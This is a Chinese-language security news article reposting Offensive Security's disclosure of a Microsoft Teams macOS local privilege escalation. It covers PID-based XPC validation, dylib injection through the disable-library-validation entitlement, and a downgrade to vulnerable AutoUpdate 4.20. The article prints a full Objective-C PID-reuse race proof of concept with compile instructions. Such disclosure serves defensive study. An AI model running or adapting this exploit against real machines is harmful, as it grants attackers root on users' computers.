安全动态

MICROSOFT TEAMS MACOS版本本地权限提升漏洞

来源:聚铭网络    发布时间:2020-11-25    浏览次数:
 

信息来源:嘶吼网

Offensive Security安全研究人员在Microsoft Teams的XPC 服务中发现了一个安全漏洞,并将漏洞报告给了MSRC,微软确认了该漏洞但决定不立即修复。

漏洞根源分析

漏洞是两个不同问题引发,当这两个问题组合在一起时就会引发漏洞利用场景:

· 不安全的XPC 连接验证;

· 安装包用户控制和包签名验证不充分;

XPC 服务是由/Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist 文件启动的。

% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o -
 

 

   Label com.microsoft.teams.TeamsUpdaterDaemon MachServices  
     com.microsoft.teams.TeamsUpdaterDaemon 
       Program /Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon

图1 – Microsoft Teams Updater launchd文件

其中含有一个名为com.microsoft.teams.TeamsUpdaterDaemon 的Mach服务,可执行路径为/Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon。这个位置是很不寻常的,因为类似的服务一般安装在 /Library/PrivilegedHelperTools/ 目录下。

研究人员用Hopper 打开了该二进制文件,开始分析shouldAcceptNewConnection: 方法,该方法负责控制对XPC 服务的连接访问。

/* @class ServiceDelegate */
 
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
 
r12 = [arg3 retain];
 
rdx = r12;
 
r14 = [self isValidConnection:rdx];

图 2 –shouldAcceptNewConnection: 方法开始部分

shouldAcceptNewConnection: 方法会接受NSXPCConnection 对象作为参数,其中含有对连接的客户端的引用。本例中参数是arg3,会立刻传递给isValidConnection: 方法来验证连接的客户端。isValidConnection: 方法如下所示:

-(char)isValidConnection:(void *)arg2 {
 
r13 = [arg2 retain];
 
rbx = [[Logger getInstance] retain];
 
[rbx logInfo:@"Validating connection"];
 
[rbx release];
 
rbx = [arg2 processIdentifier];

图3 – isValidConnection: 方法

isValidConnection: 方法会获取客户端的PID,用于之后的验证。如果开发者使用auditToken 特征而不是PID,那么XPC 服务就可以验证连接的服务是不是期望的了。但是,因为PID可以重用,因此验证是可能被绕过的。

通过processIdentifier 的连接的验证是非常复杂的。但是因为使用了PID 就可能会被绕过。

通过分析主应用的代码签名可以发现另外一个问题:

% codesign -dv --entitlements :- /Applications/Microsoft\ Teams.app
 
Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams
 
Identifier=com.microsoft.teams
 
Format=app bundle with Mach-O thin (x86_64)
 
CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded
 
Signature size=9060
 
Timestamp=2020. Jun 4. 3:32:37
 
Info.plist entries=17
 
TeamIdentifier=UBF8T346G9
 
Runtime Version=10.12.0
 
Sealed Resources version=2 rules=13 files=128
 
Internal requirements count=1 size=180
 

 

   com.apple.security.device.camera  com.apple.security.device.audio-input  com.apple.security.personal-information.location  com.apple.security.automation.apple-events  com.apple.security.cs.allow-jit  com.apple.security.cs.allow-unsigned-executable-memory  com.apple.security.cs.disable-library-validation  com.apple.security.cs.disable-executable-page-protection

图4 – “Microsoft Teams.app”的代码签名

即时使用了audit_token,MS Teams 应用仍然可能会受到dylib代理攻击的影响,因为com.apple.security.cs.disable-library-validation entitlement 被设置为true。因此,攻击者可以向应用注入dylib、当其连接到XPC 服务时冒充它。

虽然app的文件夹只有root用户可写,并且无法替换其中的dylib,但是恶意攻击者可以将其复制到任意文件,然后注入到复制的应用中。

可以看到app文件夹中可以被劫持的dylib很多,比如:

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib
/Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib

图5 – “Microsoft Teams.app” 中的Dylibs

installUpdateWithPackage:withPreferences:withReply: 方法会将包路径作为参数接受。该路径是由用户控制的,可以是文件系统中的任何文职。该方法会检查文件是否存在,如果存在就清空应用支持文件夹。然后,该方法调用copyPkgToAppSupport: 来复制包到应用支持文件夹,该文件夹只有root 用户才可以访问。这会锁定复制的文件并验证。

该包被复制后,会调用validatePackage: 方法。

validatePackage: 方法会用pkgutil 来检查包是否是代码签名的,如果是,就调用_FValidMicrosoftPackage。

 _FValidMicrosoftPackage 函数负责验证微软的签名。验证并不能预防老的、有漏洞的微软应用的安装。

总的来看,研究人员发现可以执行dylib 劫持或PID 重用攻击来与MS teams的XPC 服务对话。该服务会暴露一个允许安装定制的微软签名的安装包的函数。如果签名验证正确完成,就可以安装可能含有有漏洞的老版本的微软应用。

漏洞利用

为了利益Teams应用漏洞,首先需要连接XPC 服务。为此,研究人员用经典的竞争条件PID 重用攻击。因为每个对XPC 服务的调用都会执行clearPkgsInAppSupport: 方法,应用支持文件夹的内容会被删除,只需要赢得竞争条件就可以了。如果赢得了竞争条件,复制的文件就会被删除,引发漏洞利用失败。

一旦与XPC 服务通信,就可以安装Microsoft AutoUpdate (MAU) 4.20,其中包含本地权限提升漏洞。

漏洞利用方案如下:

· 通过PID 重用攻击与XPC 服务通信;

· 安装有漏洞的Microsoft AutoUpdate 版本;

· 利用MAU XPC服务中的权限提升漏洞(CVE-2020-0984)。

在运行漏洞利用代码前,需要将有漏洞的MAU 安装器放在正确的位置。研究人员将下载Microsoft_AutoUpdate_4.20.20020900_Updater.pkg 包,并将其放置在 /tmp/ 目录。然后调用XPC 服务的 installUpdateWithPackage:withPreferences:withReply: 方法,并执行PID 重用攻击。

PoC 代码如下:

#import #include #include  
@protocol TeamsUpdaterDaemonProtocol
- (void)installUpdateWithPackage:(NSString *)arg1 withPreferences:(NSDictionary *)arg2 withReply:(void (^)(NSString *))arg3;
- (void)ping:(void (^)(void))arg1;
@end
 
int main(void) {
 
//Only 2 is the race count, more than that will result in deletion of our own pkg files
#define RACE_COUNT 2
// Define application allowed to communicate with XPC service
#define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams"
extern char **environ;
 
int pids[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++)
{
int pid = fork();
//Only enter for child process
if (pid == 0)
{
NSString* _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon";
//Connect to Vulnerable XPC Service
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]];
[_agentConnection resume];
 
// Handle error if one occurs
id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
(void)error;
NSLog(@"Connection Failure");
}];
 
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);
 
//run MS installer
//pkg path
NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg";
 
//preferences dictionary objects, a random UID, and the current user's name
NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()]
forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]];
 
//call the XPC
[obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString* arg3){
NSLog(@"%@",arg3);
}];
//Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams
//Once the connection is verified with the valid spawned process, the message sent above will be consumed
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// keep the children alive
sleep(10);
 
cleanup:
for (int i = 0; i < RACE_COUNT; i++)
{
pids[i] && kill(pids[i], 9);
}
}

可以用下面的命令编译PoC 代码:

gcc -framework Foundation msteamspid.m -o msteamspid

运行漏洞利用后,需要检查MAU 包是否安装过。因为漏洞利用使用了竞争条件,可能需要多次运行。根据机器的速度,RACE_COUNT 变量可能需要调整。

根据位于 /Library/Logs/Microsoft/Teams/updater.log的 XPC 服务日志,下面的记录会出现一次,否则漏洞利用将会失败。

2020-07-05 15:35:28[TeamsUpdaterDaemon]<727>-信息-连接验证

多次调用 installUpdateWithPackage:withPreferences:withReply: 可能会在clearPkgsInAppSupport: 调用过程中引发pkg 文件移除,安装将会失败。

成功利用了Microsoft Teams漏洞后,需要通过XPC 调用刚刚安装的MAU 应用。MAU 漏洞利用可以通过注入dylib 来完成。

 
 

上一篇:2020年11月24日聚铭安全速递

下一篇:巴尔干化升级:全球互联网审查现状